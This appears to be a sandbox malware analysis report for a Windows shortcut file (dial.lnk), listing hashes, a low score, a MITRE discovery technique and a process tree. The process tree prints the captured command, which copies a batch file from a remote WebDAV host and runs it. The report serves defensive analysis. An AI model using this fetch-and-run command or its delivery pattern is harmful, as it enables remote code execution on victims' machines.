b3c5e464e43d7db2432f3e28de75bd0eee8fa7a2b7b6fef7134e7115d6681be3

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20240215-en
resource tags

arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
submitted
25-03-2024 14:35

Target

zay/dial.lnk
Size

1KB
MD5

5b83c1fdd1febf3b68aa9a27486a31dc
SHA1

06376481bcfbac7435e503e430c971064253d73c
SHA256

71388b3505194a6a338b4a5ec1d2054ebdffa2c96f23174740577c0f5be19d4b
SHA512

7888d314bf385d6f679f9b33af9dda9a34e16beb512288b312ad34f2c0403091f819d9a55c511737f977f3b93cc616a89a78cf3825244972a6f550218e22f622

Score

3^/10

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1568 wrote to memory of 2660	1568	cmd.exe	cmd.exe
PID 1568 wrote to memory of 2660	1568	cmd.exe	cmd.exe
PID 1568 wrote to memory of 2660	1568	cmd.exe	cmd.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\zay\dial.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c copy "\\posters-dial.com@80\google\file.bat" "C:\Users\Admin\Music\file.bat" && "C:\Users\Admin\Music\file.bat"
  2⤵
  PID:2660

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact